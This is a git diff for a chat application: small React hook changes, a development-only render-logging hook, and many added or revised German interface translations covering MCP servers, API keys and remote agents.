a/client/src/hooks/useLocalize.ts b/client/src/hooks/useLocalize.ts index 6b574d25b1..f87ee5932b 100644 --- a/client/src/hooks/useLocalize.ts +++ b/client/src/hooks/useLocalize.ts @@ -1,4 +1,4 @@ -import { useEffect } from 'react'; +import { useCallback, useEffect } from 'react'; import { TOptions } from 'i18next'; import { useRecoilValue } from 'recoil'; import { useTranslation } from 'react-i18next'; @@ -17,5 +17,8 @@ export default function useLocalize() { } }, [lang, i18n]); - return (phraseKey: TranslationKeys, options?: TOptions) => t(phraseKey, options); + return useCallback( + (phraseKey: TranslationKeys, options?: TOptions) => t(phraseKey, options), + [t], + ); } diff --git a/client/src/hooks/useNewConvo.ts b/client/src/hooks/useNewConvo.ts index c468ab30a2..f2879cb092 100644 --- a/client/src/hooks/useNewConvo.ts +++ b/client/src/hooks/useNewConvo.ts @@ -14,6 +14,7 @@ import { LocalStorageKeys, isEphemeralAgentId, isAssistantsEndpoint, + getDefaultParamsEndpoint, } from 'librechat-data-provider'; import type { TPreset, @@ -47,7 +48,7 @@ const useNewConvo = (index = 0) => { const applyModelSpecEffects = useApplyModelSpecEffects(); const clearAllConversations = store.useClearConvoState(); const defaultPreset = useRecoilValue(store.defaultPreset); - const { setConversation } = store.useCreateConversationAtom(index); + const { setConversation } = store.useSetConversationAtom(index); const [files, setFiles] = useRecoilState(store.filesByIndex(index)); const saveBadgesState = useRecoilValue(store.saveBadgesState); const clearAllLatestMessages = store.useClearLatestMessages(`useNewConvo ${index}`); @@ -191,11 +192,13 @@ const useNewConvo = (index = 0) => { } const models = modelsConfig?.[defaultEndpoint] ?? []; + const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, defaultEndpoint); conversation = buildDefaultConvo({ conversation, lastConversationSetup: activePreset as TConversation, endpoint: defaultEndpoint, models, + defaultParamsEndpoint, }); } diff --git a/client/src/hooks/useRenderChangeLog.ts b/client/src/hooks/useRenderChangeLog.ts new file mode 100644 index 0000000000..e20f04be05 --- /dev/null +++ b/client/src/hooks/useRenderChangeLog.ts @@ -0,0 +1,67 @@ +import { useEffect, useRef } from 'react'; + +type DebugWindow = Window & { + __LC_RENDER_DEBUG__?: boolean; +}; + +/** + * Development-only hook that logs which tracked values changed between renders. + * + * Enable by setting `window.__LC_RENDER_DEBUG__ = true` in the browser console. + * Automatically no-ops in production builds. + * + * @example + * ```ts + * useRenderChangeLog('MessageRender', { messageId, isLast, depth }); + * ``` + */ +export default function useRenderChangeLog( + name: string, + values: Record, +) { + const previousValuesRef = useRef | null>(null); + + useEffect(() => { + if (process.env.NODE_ENV === 'production') { + return; + } + + if (typeof window === 'undefined' || !(window as DebugWindow).__LC_RENDER_DEBUG__) { + previousValuesRef.current = values; + return; + } + + if (previousValuesRef.current == null) { + console.log(`[render-debug] ${name}: initial render`, values); + previousValuesRef.current = values; + return; + } + + const previousValues = previousValuesRef.current; + const changedEntries = Object.entries(values).filter( + ([key, value]) => !Object.is(previousValues[key], value), + ); + + if (changedEntries.length > 0) { + console.log( + `[render-debug] ${name}`, + Object.fromEntries( + changedEntries.map(([key, value]) => [ + key, + { + previous: previousValues[key], + next: value, + }, + ]), + ), + ); + } else { + console.log(`[render-debug] ${name}: parent-driven render`); + } + + previousValuesRef.current = values; + }); +} diff --git a/client/src/locales/de/translation.json b/client/src/locales/de/translation.json index aca7f8ff2a..71f0c453a6 100644 --- a/client/src/locales/de/translation.json +++ b/client/src/locales/de/translation.json @@ -3,6 +3,7 @@ "chat_direction_right_to_left": "Rechts nach Links", "com_a11y_ai_composing": "Die KI erstellt noch ihre Antwort.\n", "com_a11y_end": "Die KI hat die Antwort fertiggestellt.", + "com_a11y_selected": "ausgewählt", "com_a11y_start": "Die KI hat mit ihrer Antwort begonnen. ", "com_agents_agent_card_label": "{{name}} Agent. {{description}}", "com_agents_all": "Alle Agenten", @@ -223,10 +224,11 @@ "com_endpoint_agent": "Agent", "com_endpoint_agent_placeholder": "Bitte wähle einen Agenten aus", "com_endpoint_ai": "KI", + "com_endpoint_anthropic_effort": "Steuert, wie viel Rechenaufwand Claude betreibt. Ein geringerer Aufwand spart Token und verringert die Latenz; ein höherer Aufwand führt zu gründlicheren Antworten. ‚Max‘ ermöglicht das tiefste Reasoning (nur Opus 4.6).", "com_endpoint_anthropic_maxoutputtokens": "Maximale Anzahl von Token, die in der Antwort erzeugt werden können. Gib einen niedrigeren Wert für kürzere Antworten und einen höheren Wert für längere Antworten an. Hinweis: Die Modelle können auch vor Erreichen dieses Maximums stoppen.", "com_endpoint_anthropic_prompt_cache": "Prompt-Caching ermöglicht die Wiederverwendung von umfangreichen Kontexten oder Anweisungen über mehrere API-Aufrufe hinweg, wodurch Kosten und Latenzzeiten reduziert werden", "com_endpoint_anthropic_temp": "Reicht von 0 bis 1. Verwende Temperaturen näher an 0 für analytische / Multiple-Choice-Aufgaben und näher an 1 für kreative und generative Aufgaben. Wir empfehlen, entweder dies oder Top P zu ändern, aber nicht beides.", - "com_endpoint_anthropic_thinking": "Aktiviert internes logisches Denken für unterstützte Claude-Modelle (3.7 Sonnet). Hinweis: Erfordert, dass \"Denkbudget\" festgelegt und niedriger als \"Max. Ausgabe-Token\" ist", + "com_endpoint_anthropic_thinking": "Aktiviert das interne Reasoning für unterstützte Claude-Modelle. Bei neueren Modellen (Opus 4.6+) wird adaptives Denken genutzt, das über den Parameter „Aufwand“ gesteuert wird. Bei älteren Modellen muss ein „Thinking Budget“ festgelegt werden, das unter den „Max Output Tokens“ liegt.", "com_endpoint_anthropic_thinking_budget": "Bestimmt die maximale Anzahl an Token, die Claude für seinen internen Denkprozess verwenden darf. Ein höheres Budget kann die Antwortqualität verbessern, indem es eine gründlichere Analyse bei komplexen Problemen ermöglicht. Claude nutzt jedoch möglicherweise nicht das gesamte zugewiesene Budget, insbesondere bei Werten über 32.000. Diese Einstellung muss niedriger sein als \"Max. Ausgabe-Token\".", "com_endpoint_anthropic_topk": "Top-k ändert, wie das Modell Token für die Ausgabe auswählt. Ein Top-k von 1 bedeutet, dass das ausgewählte Token das wahrscheinlichste unter allen Token im Vokabular des Modells ist (auch \"Greedy Decoding\" genannt), während ein Top-k von 3 bedeutet, dass das nächste Token aus den 3 wahrscheinlichsten Token ausgewählt wird (unter Verwendung der Temperatur).", "com_endpoint_anthropic_topp": "Top-p ändert, wie das Modell Token für die Ausgabe auswählt. Token werden von den wahrscheinlichsten K (siehe topK-Parameter) bis zu den am wenigsten wahrscheinlichen ausgewählt, bis die Summe ihrer Wahrscheinlichkeiten dem Top-p-Wert entspricht.", @@ -264,6 +266,7 @@ "com_endpoint_default_with_num": "Standard: {{0}}", "com_endpoint_disable_streaming": "Deaktiviere das Streaming von Antworten und erhalte die vollständige Antwort auf einmal. Nützlich für Modelle wie o3, die eine Organisationsverifizierung für Streaming erfordern", "com_endpoint_disable_streaming_label": "Streaming deaktivieren", + "com_endpoint_effort": "Aufwand", "com_endpoint_examples": " Voreinstellungen", "com_endpoint_export": "Exportieren", "com_endpoint_export_share": "Exportieren/Teilen", @@ -346,7 +349,7 @@ "com_endpoint_top_p": "Top P", "com_endpoint_use_active_assistant": "Aktiven Assistenten verwenden", "com_endpoint_use_responses_api": "Responses-API nutzen", - "com_endpoint_use_search_grounding": "Antworten mit Google-Suche anreichern", + "com_endpoint_use_search_grounding": "Fundierung mit der Google Suche", "com_endpoint_verbosity": "Ausführlichkeit", "com_error_endpoint_models_not_loaded": "Modelle für {{0}} konnten nicht geladen werden. Bitte lade die Seite neu und versuch es erneut.", "com_error_expired_user_key": "Der angegebene API-Key für {{0}} ist am {{1}} abgelaufen. Bitte gebe einen neuen API-Key ein und versuche es erneut.", @@ -508,16 +511,20 @@ "com_nav_lang_german": "Deutsch", "com_nav_lang_hebrew": "עברית", "com_nav_lang_hungarian": "Ungarisch", + "com_nav_lang_icelandic": "Isländisch", "com_nav_lang_indonesia": "Indonesia", "com_nav_lang_italian": "Italiano", "com_nav_lang_japanese": "日本語", "com_nav_lang_korean": "한국어", "com_nav_lang_latvian": "Lettisch", + "com_nav_lang_lithuanian": "Litauisch", "com_nav_lang_norwegian_bokmal": "Norwegisch Bokmål", + "com_nav_lang_norwegian_nynorsk": "Norwegisch (Nynorsk)", "com_nav_lang_persian": "Persisch", "com_nav_lang_polish": "Polski", "com_nav_lang_portuguese": "Português", "com_nav_lang_russian": "Русский", + "com_nav_lang_slovak": "Slowakisch", "com_nav_lang_slovenian": "Slowenisch", "com_nav_lang_spanish": "Español", "com_nav_lang_swedish": "Svenska", @@ -533,9 +540,18 @@ "com_nav_log_out": "Abmelden", "com_nav_long_audio_warning": "Längere Texte benötigen mehr Zeit zur Verarbeitung.", "com_nav_maximize_chat_space": "Chat-Bereich maximieren", + "com_nav_mcp_access_revoked": "Zugriff auf MCP-Server erfolgreich widerrufen.", "com_nav_mcp_configure_server": "{{0}} konfigurieren", + "com_nav_mcp_connect": "Verbinden", + "com_nav_mcp_connect_server": "{{0}} verbinden", + "com_nav_mcp_reconnect": "Neu verbinden", "com_nav_mcp_status_connected": "Verbunden", "com_nav_mcp_status_connecting": "{{0}} - Verbinde...", + "com_nav_mcp_status_disconnected": "Getrennt", + "com_nav_mcp_status_error": "Fehler", + "com_nav_mcp_status_initializing": "Initialisieren", + "com_nav_mcp_status_needs_auth": "Auth benötigt", + "com_nav_mcp_status_unknown": "Unbekannt", "com_nav_mcp_vars_update_error": "Fehler beim Aktualisieren der benutzerdefinierten MCP-Variablen.", "com_nav_mcp_vars_updated": "Die MCP-Benutzervariablen wurden erfolgreich aktualisiert.", "com_nav_modular_chat": "Ermöglicht das Wechseln der Endpunkte mitten im Gespräch", @@ -626,7 +642,9 @@ "com_ui_active": "Aktiv", "com_ui_add": "Hinzufügen", "com_ui_add_code_interpreter_api_key": "Code Interpreter API-Schlüssel hinzufügen", + "com_ui_add_first_bookmark": "Klicke auf einen Chat, um ihn hinzuzufügen", "com_ui_add_first_mcp_server": "Erstelle deinen ersten MCP-Server, um loszulegen", + "com_ui_add_first_prompt": "Erstelle deinen ersten Prompt, um zu starten", "com_ui_add_mcp": "MCP hinzufügen", "com_ui_add_mcp_server": "MCP Server hinzufügen", "com_ui_add_model_preset": "Ein KI-Modell oder eine Voreinstellung für eine zusätzliche Antwort hinzufügen", @@ -642,6 +660,8 @@ "com_ui_advanced": "Erweitert", "com_ui_advanced_settings": "Erweiterte Einstellungen", "com_ui_agent": "Agent", + "com_ui_agent_api_keys": "Agenten-API-Schlüssel", + "com_ui_agent_api_keys_description": "Erstelle API-Schlüssel, um per API remote auf Agenten zuzugreifen.", "com_ui_agent_category_aftersales": "Kundendienst", "com_ui_agent_category_finance": "Finanzen", "com_ui_agent_category_general": "Allgemein", @@ -689,12 +709,23 @@ "com_ui_agents": "Agenten", "com_ui_agents_allow_create": "Erlaube Agenten zu erstellen", "com_ui_agents_allow_share": "Teilen von Agenten erlauben", + "com_ui_agents_allow_share_public": "Öffentliches Teilen von Agenten erlauben", "com_ui_agents_allow_use": "Verwendung von Agenten erlauben", "com_ui_all": "alle", "com_ui_all_proper": "Alle", "com_ui_analyzing": "Analyse läuft", "com_ui_analyzing_finished": "Analyse abgeschlossen", "com_ui_api_key": "API-Schlüssel", + "com_ui_api_key_copied": "API-Schlüssel in die Zwischenablage kopiert", + "com_ui_api_key_create_error": "Fehler beim Erstellen des API-Schlüssels", + "com_ui_api_key_created": "API-Schlüssel erfolgreich erstellt", + "com_ui_api_key_delete_error": "Fehler beim Löschen des API-Schlüssels", + "com_ui_api_key_deleted": "API-Schlüssel erfolgreich gelöscht", + "com_ui_api_key_name": "Schlüsselname", + "com_ui_api_key_name_placeholder": "Mein API-Schlüssel", + "com_ui_api_key_name_required": "API-Schlüsselname ist erforderlich", + "com_ui_api_key_warning": "Kopiere deinen API-Schlüssel jetzt. Du wirst ihn später nicht mehr sehen können!", + "com_ui_api_keys_load_error": "API-Schlüssel konnten nicht geladen werden", "com_ui_archive": "Archivieren", "com_ui_archive_delete_error": "Archivierter Chat konnte nicht gelöscht werden.", "com_ui_archive_error": "Konversation konnte nicht archiviert werden", @@ -745,6 +776,7 @@ "com_ui_bookmarks": "Lesezeichen", "com_ui_bookmarks_add": "Lesezeichen hinzufügen", "com_ui_bookmarks_add_to_conversation": "Zur aktuellen Konversation hinzufügen", + "com_ui_bookmarks_count_selected": "Lesezeichen, {{count}} ausgewählt", "com_ui_bookmarks_create_error": "Beim Erstellen des Lesezeichens ist ein Fehler aufgetreten", "com_ui_bookmarks_create_exists": "Dieses Lesezeichen existiert bereits", "com_ui_bookmarks_create_success": "Lesezeichen erfolgreich erstellt", @@ -759,6 +791,9 @@ "com_ui_bookmarks_title": "Titel", "com_ui_bookmarks_update_error": "Beim Aktualisieren des Lesezeichens ist ein Fehler aufgetreten", "com_ui_bookmarks_update_success": "Lesezeichen erfolgreich aktualisiert", + "com_ui_branch_created": "Abzweigung erfolgreich erstellt", + "com_ui_branch_error": "Erstellen der Abzweigung fehlgeschlagen", + "com_ui_branch_message": "Abzweigung aus dieser Antwort erstellen", "com_ui_by_author": "von {{0}}", "com_ui_callback_url": "Callback-URL", "com_ui_cancel": "Abbrechen", @@ -775,6 +810,7 @@ "com_ui_clear_presets": "Voreinstellungen löschen", "com_ui_clear_search": "Suche löschen", "com_ui_click_to_close": "Zum Schließen klicken", + "com_ui_click_to_view_var": "Klicken, um {{0}} anzusehen", "com_ui_client_id": "Client-ID", "com_ui_client_secret": "Client Secret", "com_ui_close": "Schließen", @@ -785,10 +821,12 @@ "com_ui_code": "Code", "com_ui_collapse": "Einklappen", "com_ui_collapse_chat": "Chat einklappen", + "com_ui_collapse_thoughts": "Gedanken einklappen", "com_ui_command_placeholder": "Optional: Gib einen speziellen Befehl ein, sonst wird der Name des Prompts verwendet.", "com_ui_command_usage_placeholder": "Wähle einen Prompt nach Befehl oder Name aus", "com_ui_complete_setup": "Einrichtung abschließen", "com_ui_concise": "Prägnant", + "com_ui_configure": "Konfigurieren", "com_ui_configure_mcp_variables_for": "Konfiguriere Variablen für {{0}}", "com_ui_confirm": "Bestätigen", "com_ui_confirm_action": "Aktion bestätigen", @@ -802,7 +840,9 @@ "com_ui_continue_oauth": "Mit OAuth fortfahren", "com_ui_control_bar": "Kontrollleiste", "com_ui_controls": "Steuerung", + "com_ui_conversation": "Konversation", "com_ui_conversation_label": "{{title}} Konversation", + "com_ui_conversations": "Konversationen", "com_ui_convo_archived": "Konversation archiviert", "com_ui_convo_delete_error": "Unterhaltung konnte nicht gelöscht werden.", "com_ui_convo_delete_success": "Konversation erfolgreich gelöscht", @@ -816,12 +856,16 @@ "com_ui_copy_to_clipboard": "In die Zwischenablage kopieren", "com_ui_copy_url_to_clipboard": "URL in die Zwischenablage kopieren", "com_ui_create": "Erstellen", + "com_ui_create_api_key": "API-Schlüssel erstellen", "com_ui_create_assistant": "Assistent erstellen", "com_ui_create_link": "Link erstellen", + "com_ui_create_mcp_server": "MCP-Server erstellen", "com_ui_create_memory": "Erinnerung erstellen", "com_ui_create_new_agent": "Neuen Agenten erstellen", "com_ui_create_prompt": "Prompt erstellen", "com_ui_create_prompt_page": "Neue Prompt-Konfigurationsseite", + "com_ui_created": "Erstellt", + "com_ui_creating": "Wird erstellt...", "com_ui_creating_image": "Bild wird erstellt. Kann einen Moment dauern", "com_ui_current": "Aktuell", "com_ui_currently_production": "Aktuell im Produktivbetrieb", @@ -861,6 +905,9 @@ "com_ui_delete_confirm_prompt_version_var": "Dies wird die ausgewählte Version für \"{{0}}\" löschen. Wenn keine anderen Versionen existieren, wird der Prompt gelöscht.", "com_ui_delete_confirm_strong": "Dies wird {{title}} löschen", "com_ui_delete_conversation": "Chat löschen?", + "com_ui_delete_conversation_tooltip": "Unterhaltung löschen", + "com_ui_delete_mcp_server": "MCP-Server löschen?", + "com_ui_delete_mcp_server_name": "MCP-Server {{0}} löschen", "com_ui_delete_memory": "Erinnerung löschen", "com_ui_delete_not_allowed": "Löschvorgang ist nicht erlaubt", "com_ui_delete_preset": "Voreinstellung löschen?", @@ -873,6 +920,7 @@ "com_ui_delete_tool_confirm": "Bist du sicher, dass du dieses Werkzeug löschen möchtest?", "com_ui_delete_tool_save_reminder": "Tool entfernt. Speichere den Agenten, um die Änderungen zu übernehmen.", "com_ui_deleted": "Gelöscht", + "com_ui_deleting": "Wird gelöscht...", "com_ui_deleting_file": "Lösche Datei...", "com_ui_descending": "Absteigend", "com_ui_description": "Beschreibung", @@ -909,7 +957,9 @@ "com_ui_endpoint_menu": "LLM-Endpunkt-Menü", "com_ui_enter": "Eingabe", "com_ui_enter_api_key": "API-Schlüssel eingeben", + "com_ui_enter_description": "Beschreibung eingeben (optional)", "com_ui_enter_key": "Schlüssel eingeben", + "com_ui_enter_name": "Namen eingeben", "com_ui_enter_openapi_schema": "Gib hier dein OpenAPI-Schema ein", "com_ui_enter_value": "Wert eingeben", "com_ui_error": "Fehler", @@ -923,6 +973,7 @@ "com_ui_examples": "Beispiele", "com_ui_expand": "Ausklappen", "com_ui_expand_chat": "Chat erweitern", + "com_ui_expand_thoughts": "Gedanken ausklappen", "com_ui_export_convo_modal": "Konversation exportieren", "com_ui_feedback_more": "Mehr ...", "com_ui_feedback_more_information": "Zusätzliches Feedback", @@ -931,7 +982,7 @@ "com_ui_feedback_positive": "Prima, sehr gut", "com_ui_feedback_tag_accurate_reliable": "Akkurat und Zuverlässig", "com_ui_feedback_tag_attention_to_detail": "Liebe zum Detail", - "com_ui_feedback_tag_bad_style": "Clear and Well-Written", + "com_ui_feedback_tag_bad_style": "Schlechter Stil oder Tonfall", "com_ui_feedback_tag_clear_well_written": "Klar und gut geschrieben", "com_ui_feedback_tag_creative_solution": "Kreative Lösung", "com_ui_feedback_tag_inaccurate": "Ungenaue oder falsche Antwort", @@ -993,6 +1044,8 @@ "com_ui_handoff_instructions": "Übergabebeschreibung", "com_ui_happy_birthday": "Es ist mein 1. Geburtstag!", "com_ui_header_format": "Header-Format", + "com_ui_hide": "Verstecken", + "com_ui_hide_code": "Code verbergen", "com_ui_hide_image_details": "Details zum Bild ausblenden", "com_ui_hide_password": "Passwort verbergen", "com_ui_hide_qr": "QR-Code ausblenden", @@ -1017,6 +1070,7 @@ "com_ui_instructions": "Anweisungen", "com_ui_key": "Schlüssel", "com_ui_key_required": "API-Schlüssel ist erforderlich", + "com_ui_last_used": "Zuletzt verwendet", "com_ui_late_night": "Schöne späte Nacht", "com_ui_latest_footer": "Alle KIs für alle.", "com_ui_latest_production_version": "Neueste Produktiv-Version", @@ -1035,20 +1089,30 @@ "com_ui_manage": "Verwalten", "com_ui_marketplace": "Marktplatz", "com_ui_marketplace_allow_use": "Nutzung des Marktplatzes erlauben", + "com_ui_max": "Max", "com_ui_max_favorites_reached": "Maximale Anzahl angepinnter Elemente erreicht ({{0}}). Löse ein Element, um weitere hinzuzufügen.", "com_ui_max_file_size": "PNG, JPG oder JPEG (max. {{0}})", "com_ui_max_tags": "Die maximale Anzahl ist {{0}}, es werden die neuesten Werte verwendet.", "com_ui_mcp_authenticated_success": "MCP-Server „{{0}}“ erfolgreich authentifiziert.", + "com_ui_mcp_click_to_defer": "Klicken zum Aufschieben – Tool ist über die Suche findbar, wird aber erst bei Bedarf geladen", + "com_ui_mcp_click_to_programmatic": "Programmatischen Aufruf aktivieren – Tool kann nur über Code-Ausführung gestartet werden", "com_ui_mcp_configure_server": "Konfiguriere {{0}}", "com_ui_mcp_configure_server_description": "Konfiguriere benutzerdefinierte Variablen für {{0}}", + "com_ui_mcp_defer": "Aufschieben", + "com_ui_mcp_defer_all": "Alle Tools aufschieben", + "com_ui_mcp_defer_loading": "Laden aufschieben", "com_ui_mcp_dialog_title": "Variablen konfigurieren für {{serverName}}. Server-Status: {{status}}", "com_ui_mcp_domain_not_allowed": "Die MCP-Server-Domain befindet sich nicht in der Liste der erlaubten Domains. Bitte kontaktiere deinen Administrator.", "com_ui_mcp_enter_var": "Geben Sie einen Wert für {{0}} ein", "com_ui_mcp_init_failed": "Initialisierung des MCP-Servers fehlgeschlagen.", "com_ui_mcp_initialize": "Initialisieren", "com_ui_mcp_initialized_success": "MCP-Server „{{0}}“ erfolgreich initialisiert.", + "com_ui_mcp_invalid_url": "Bitte gib eine gültige URL ein", + "com_ui_mcp_no_description": "Keine Beschreibung verfügbar", "com_ui_mcp_oauth_cancelled": "OAuth-Anmeldung für {{0}} abgebrochen.", "com_ui_mcp_oauth_timeout": "Zeitüberschreitung bei der OAuth-Anmeldung für {{0}}.", + "com_ui_mcp_programmatic": "Programmatisch", + "com_ui_mcp_programmatic_all": "Alle als programmatisch markieren", "com_ui_mcp_server": "MCP-Server", "com_ui_mcp_server_connection_failed": "Verbindungsversuch zum bereitgestellten MCP-Server fehlgeschlagen. Bitte stelle sicher, dass die URL, der Servertyp und alle Authentifizierungskonfigurationen korrekt sind, und versuche es erneut. Stelle außerdem sicher, dass die URL erreichbar ist.", "com_ui_mcp_server_created": "MCP-Server erfolgreich erstellt", @@ -1061,13 +1125,20 @@ "com_ui_mcp_server_role_viewer": "MCP-Server-Betrachter", "com_ui_mcp_server_role_viewer_desc": "Kann MCP-Server ansehen und verwenden", "com_ui_mcp_server_updated": "MCP-Server erfolgreich aktualisiert", + "com_ui_mcp_server_url_placeholder": "https://mcp.beispiel.com", "com_ui_mcp_servers": "MCP Server", "com_ui_mcp_servers_allow_create": "Benutzern das Erstellen von MCP-Servern erlauben", "com_ui_mcp_servers_allow_share": "Benutzern das Teilen von MCP-Servern erlauben", + "com_ui_mcp_servers_allow_share_public": "Nutzern das öffentliche Teilen von MCP-Servern erlauben", "com_ui_mcp_servers_allow_use": "Benutzern die Verwendung von MCP-Servern erlauben", "com_ui_mcp_title_invalid": "Titel darf nur Buchstaben, Zahlen und Leerzeichen enthalten", + "com_ui_mcp_tool_options": "Tool-Optionen", + "com_ui_mcp_transport": "Transport", "com_ui_mcp_type_sse": "SSE", "com_ui_mcp_type_streamable_http": "Streamable HTTPS", + "com_ui_mcp_undefer": "Aufschub aufheben", + "com_ui_mcp_undefer_all": "Aufschub für alle Tools aufheben", + "com_ui_mcp_unprogrammatic_all": "Markierung als „programmatisch“ für alle entfernen", "com_ui_mcp_update_var": "{{0}} aktualisieren", "com_ui_mcp_url": "MCP-Server-URL", "com_ui_medium": "Mittel", @@ -1085,12 +1156,16 @@ "com_ui_memory_deleted_items": "Gelöschte Erinnerungen", "com_ui_memory_error": "Fehler bei den Erinnerungen", "com_ui_memory_key_exists": "Eine Erinnerung mit diesem Schlüssel existiert bereits. Bitte verwende einen anderen Schlüssel.", + "com_ui_memory_key_hint": "Nur Kleinbuchstaben und Unterstriche verwenden", "com_ui_memory_key_validation": "Der Erinnerungsschlüssel darf nur Kleinbuchstaben und Unterstriche enthalten.", "com_ui_memory_storage_full": "Speicherplatz für Erinnerungen voll", "com_ui_memory_updated": "Erinnerung aktualisiert", "com_ui_memory_updated_items": "Aktualisierte Erinnerungen", "com_ui_memory_would_exceed": "Speichern nicht möglich - würde Limit um {{tokens}} Tokens überschreiten. Löschen Sie vorhandene Erinnerungen, um Platz zu schaffen.", "com_ui_mention": "Erwähne einen Endpunkt, Assistenten oder eine Voreinstellung, um schnell dorthin zu wechseln", + "com_ui_mermaid": "Mermaid", + "com_ui_mermaid_failed": "Diagramm konnte nicht gerendert werden:", + "com_ui_mermaid_source": "Quellcode:", "com_ui_message_input": "Nachrichteneingabe", "com_ui_microphone_unavailable": "Mikrofon ist nicht verfügbar", "com_ui_min_tags": "Es können nicht mehr Werte entfernt werden, mindestens {{0}} sind erforderlich.", @@ -1098,6 +1173,8 @@ "com_ui_misc": "Verschiedenes", "com_ui_model": "KI-Modell", "com_ui_model_parameters": "Modell-Parameter", + "com_ui_model_parameters_reset": "Modellparameter wurden zurückgesetzt.", + "com_ui_model_selected": "{{0}} ausgewählt", "com_ui_more_info": "Mehr Infos", "com_ui_my_prompts": "Meine Prompts", "com_ui_name": "Name", @@ -1107,7 +1184,11 @@ "com_ui_new_conversation_title": "Neuer Titel des Chats", "com_ui_next": "Weiter", "com_ui_no": "Nein", + "com_ui_no_api_keys": "Noch keine API-Schlüssel vorhanden. Erstelle einen, um loszulegen.", + "com_ui_no_auth": "Keine Auth", "com_ui_no_bookmarks": "Du hast noch keine Lesezeichen. Klicke auf einen Chat und füge ein neues hinzu", + "com_ui_no_bookmarks_match": "Keine Lesezeichen entsprechen deiner Suche", + "com_ui_no_bookmarks_title": "Noch keine Lesezeichen", "com_ui_no_categories": "Keine Kategorien verfügbar", "com_ui_no_category": "Keine Kategorie", "com_ui_no_changes": "Es wurden keine Änderungen vorgenommen", @@ -1115,7 +1196,10 @@ "com_ui_no_mcp_servers": "Noch keine MCP-Server", "com_ui_no_mcp_servers_match": "Keine MCP-Server entsprechen deinem Filter", "com_ui_no_memories": "Keine Erinnerungen. Erstelle sie manuell oder fordere die KI auf, sich etwas zu merken.\n", + "com_ui_no_memories_match": "Keine Erinnerungen entsprechen deiner Suche", + "com_ui_no_memories_title": "Noch keine Erinnerungen", "com_ui_no_personalization_available": "Derzeit sind keine Personalisierungsoptionen verfügbar.", + "com_ui_no_prompts_title": "Noch keine Prompts", "com_ui_no_read_access": "Du hast keine Berechtigung, Erinnerungen anzuzeigen.", "com_ui_no_results_found": "Keine Ergebnisse gefunden", "com_ui_no_terms_content": "Keine Inhalte der Allgemeinen Geschäftsbedingungen zum Anzeigen", @@ -1136,6 +1220,7 @@ "com_ui_off": "Aus", "com_ui_offline": "Offline", "com_ui_on": "An", + "com_ui_open_archived_chat_new_tab_title": "{{title}} (öffnet in neuem Tab)", "com_ui_open_source_chat_new_tab": "Quell-Chat in neuem Tab öffnen", "com_ui_open_source_chat_new_tab_title": "Quell-Chat in neuem Tab öffnen - {{title}}", "com_ui_open_var": "{{0}} öffnen", @@ -1157,6 +1242,7 @@ "com_ui_privacy_policy": "Datenschutzerklärung", "com_ui_privacy_policy_url": "Datenschutzrichtlinie-URL", "com_ui_prompt": "Prompt", + "com_ui_prompt_deleted": "{{0}} gelöscht", "com_ui_prompt_group_button": "{{name}}-Prompt, Kategorie {{category}}", "com_ui_prompt_group_button_no_category": "{{name}}-Prompt", "com_ui_prompt_groups": "Prompt-Gruppenliste", @@ -1171,6 +1257,7 @@ "com_ui_prompts": "Prompts", "com_ui_prompts_allow_create": "Erstellung von Prompts erlauben", "com_ui_prompts_allow_share": "Teilen von Prompts erlauben", + "com_ui_prompts_allow_share_public": "Öffentliches Teilen von Prompts erlauben", "com_ui_prompts_allow_use": "Verwendung von Prompts erlauben", "com_ui_provider": "Anbieter", "com_ui_quality": "Qualität", @@ -1188,6 +1275,18 @@ "com_ui_regenerating": "Generiere neu ...", "com_ui_region": "Region", "com_ui_reinitialize": "Neu initialisieren", + "com_ui_remote_access": "Remote-Zugriff", + "com_ui_remote_agent_role_editor": "Editor", + "com_ui_remote_agent_role_editor_desc": "Kann den Agent über die API ansehen und bearbeiten", + "com_ui_remote_agent_role_owner": "API-Eigentümer", + "com_ui_remote_agent_role_owner_desc": "Vollständiger API-Zugriff; kann anderen Remote-Zugriff gewähren", + "com_ui_remote_agent_role_viewer": "API-Betrachter", + "com_ui_remote_agent_role_viewer_desc": "Kann den Agent über die API abfragen", + "com_ui_remote_agents": "Remote-Agents (API)", + "com_ui_remote_agents_allow_create": "Nutzern das Erstellen von Agents über die API erlauben", + "com_ui_remote_agents_allow_share": "Nutzern erlauben, anderen API-Zugriff auf Agents zu gewähren", + "com_ui_remote_agents_allow_share_public": "Nutzern erlauben, allen Usern API-Zugriff auf Agents zu gewähren", + "com_ui_remote_agents_allow_use": "Nutzern erlauben, API-Schlüssel zu erstellen und Agents remote abzufragen", "com_ui_remove_agent_from_chain": "{{0}} aus der Kette entfernen", "com_ui_remove_user": "{{0}} entfernen", "com_ui_rename": "Umbenennen", @@ -1205,6 +1304,7 @@ "com_ui_result": "Ergebnis", "com_ui_result_found": "{{count}} Ergebnis gefunden", "com_ui_results_found": "{{count}} Ergebnisse gefunden", + "com_ui_retry": "Erneut versuchen", "com_ui_revoke": "Widerrufen", "com_ui_revoke_info": "Benutzer-API-Keys widerrufen", "com_ui_revoke_key_confirm": "Bist du sicher, dass du diesen Schlüssel widerrufen möchtest?", @@ -1276,7 +1376,9 @@ "com_ui_shared_link_not_found": "Geteilter Link nicht gefunden", "com_ui_shared_prompts": "Geteilte Prompts", "com_ui_shop": "Einkaufen", + "com_ui_show": "Anzeigen", "com_ui_show_all": "Alle anzeigen", + "com_ui_show_code": "Code anzeigen", "com_ui_show_image_details": "Details zum Bild anzeigen", "com_ui_show_password": "Passwort anzeigen", "com_ui_show_qr": "QR-Code anzeigen", @@ -1288,6 +1390,7 @@ "com_ui_special_var_current_datetime": "Aktuelles Datum & Uhrzeit", "com_ui_special_var_current_user": "Aktueller Nutzer", "com_ui_special_var_iso_datetime": "UTC ISO Datum/Zeit", + "com_ui_special_variable_added": "Spezialvariable {{0}} hinzugefügt.", "com_ui_special_variables": "Spezielle Variablen:", "com_ui_special_variables_more_info": "Du kannst spezielle Variablen aus den Dropdown-Menüs auswählen: `{{current_date}}` (heutiges Datum und Wochentag), `{{current_datetime}}` (offizielles Datum und Uhrzeit), `{{utc_iso_datetime}}` (UTC ISO Datum/Zeit) und `{{current_user}}` (dein Benutzername).", "com_ui_speech_not_supported": "Ihr Browser unterstützt keine Spracherkennung", @@ -1332,6 +1435,7 @@ "com_ui_ui_resource_not_found": "UI-Ressource nicht gefunden (Index: {{0}})", "com_ui_ui_resources": "UI-Ressourcen", "com_ui_unarchive": "Aus Archiv holen", + "com_ui_unarchive_conversation": "Unterhaltung dearchivieren", "com_ui_unarchive_error": "Konversation konnte nicht aus dem Archiv 